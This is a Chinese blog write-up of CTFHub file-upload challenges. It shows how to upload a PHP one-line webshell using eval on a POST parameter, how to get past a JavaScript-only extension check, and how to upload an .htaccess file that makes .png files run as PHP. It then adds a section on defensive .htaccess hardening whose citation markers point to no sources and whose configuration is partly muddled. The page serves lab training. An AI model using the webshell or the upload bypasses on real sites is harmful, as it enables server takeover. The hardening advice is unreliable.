CTFHUB-技能树-Web题-文件上传(无验证,JS前端验证,前端验证)

CTFHUB-技能树-Web题-文件上传(无验证,JS前端验证,前端验证—.htaccess)

文件上传

无验证

尝试上传一个php木马文件,1.php

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

上传后显示相对路径,访问此路径,发现可以访问,且木马执行成功

在这里插入图片描述

使用菜刀、蚂剑等工具连接,寻找flag即可

这里使用蚂剑连接

在这里插入图片描述

JS前端验证

提示JS前端验证,我们就需要查看前端代码。
在这里插入图片描述

调出js代码发现,只允许上传pg,png,gif

在这里插入图片描述

将这里得onsubmit触发js删除掉,再进行上传即可

上传一句话php一句话木马

<?php @eval($_POST['pass']);phpinfo();?>

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

访问成功

在这里插入图片描述

利用蚁剑连接,寻找flag

在这里插入图片描述

在html中发现flag

在这里插入图片描述

前端验证—.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

总结来说就是一种配置文件,里面可以书写一些配置,如将某一文件以某种特定拓展名解析。
题目解析

经查看网页源代码,发现过滤了文件类型。

在这里插入图片描述

根据提示,应上传.htaccess文件

先编写一个.htaccess文件。保存的时候命名直接为.htaccess。

AddType application/x-httpd-php .png


AddType application/x-httpd-php .php

  加入“AddType application/x-httpd-php .php”、

  “AddType application/x-httpd-php .html”两行,你也可以加入更多,实质就是添加可以执行php的文件类型,比如你再加上一行
  
  “AddType application/x-httpd-php .htm”,则.htm文件也可以执行php程序了,你甚至还可以添加上一行

  “AddType application/x-httpd-php .txt”,让普通的文本文件格式也能运行php程序。

在这里插入图片描述

代码段是将png格式文件按php文件进行解析

关于如何生成htaccess文件

选择【文件】》【另存为…】后,弹出的【另存为】对话框,在【文件名】一栏中输入【.htaccess】,【保存类型】选择【所有文件】,然后选择要保存的路径,单击【保存】按钮!

上传htaccess文件

在这里插入图片描述

此时,再上传一句话木马,并把文件改为png格式
在这里插入图片描述
在这里插入图片描述

我们先访问一下,发现代码执行

在这里插入图片描述

最后使用蚁剑连接,寻找flag

在这里插入图片描述

再html中找到flag文件
在这里插入图片描述

### CTFHub 中 `.htaccess` 配置文件详解 `.htaccess` 是 Apache Web 服务器使用的配置文件,用于改变特定目录下的配置设置。对于 CTF 平台如 CTFHub 来说,合理配置此文件可以增强安全性并控制访问权限。 #### 安全强化措施 为了防止恶意利用和提升平台的安全性,在 `.htaccess` 文件中通常会加入如下安全策略: - **阻止 PHP 文件执行** 对于某些敏感路径或者不需要解析 PHP 的静态资源目录,可以通过以下方式禁用 PHP 解析器,从而减少潜在风险[^1]。 ```apache php_flag engine off ``` - **限制文件上传类型** 控制允许上传的 MIME 类型有助于防范非法文件类型的注入攻击。具体实现方法是在相应目录下添加如下指令来限定可接受的内容类型[^2]。 ```apache <FilesMatch "\.(php|pl|py|jsp|asp|html|htm|js|css)$"> SetHandler None </FilesMatch> # Allow only specific file types to be uploaded. ForceType application/octet-stream Header set Content-Disposition attachment ``` - **保护重要文件不被下载** 特定情况下需要确保一些重要的配置文件不会因为错误配置而暴露在外网环境中。为此可以在根目录下的 `.htaccess` 添加规则以拒绝直接访问这些文件[^3]。 ```apache <Files ~ "^.*\.(env|ini|conf|log)"> Order allow,deny Deny from all </Files> ``` 上述配置不仅能够有效提高系统的整体防护能力,同时也为参赛者提供了一个更加公平公正的比赛环境。 #### 示例解释 假设在一个典型的 CTF 场景里,管理员希望做到两点:一是禁止任何人在 `/uploads/` 目录下运行脚本;二是当有人尝试浏览该目录时自动将其重定向至首页。那么对应的 `.htaccess` 可能看起来像这样: ```apache <IfModule mod_rewrite.c> RewriteEngine On # Redirect requests for /uploads/* back to home page RewriteRule ^uploads/(.*)$ /index.php [R=301,L] # Disable script execution within uploads folder AddHandler cgi-script .php .pl .py .jsp .asp .sh .cgi Options -ExecCGI </IfModule> # Prevent directory listing Options -Indexes ``` 以上代码片段实现了两个目标——既不允许在指定区域内执行任意程序也不让未经授权的人查看内部结构。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值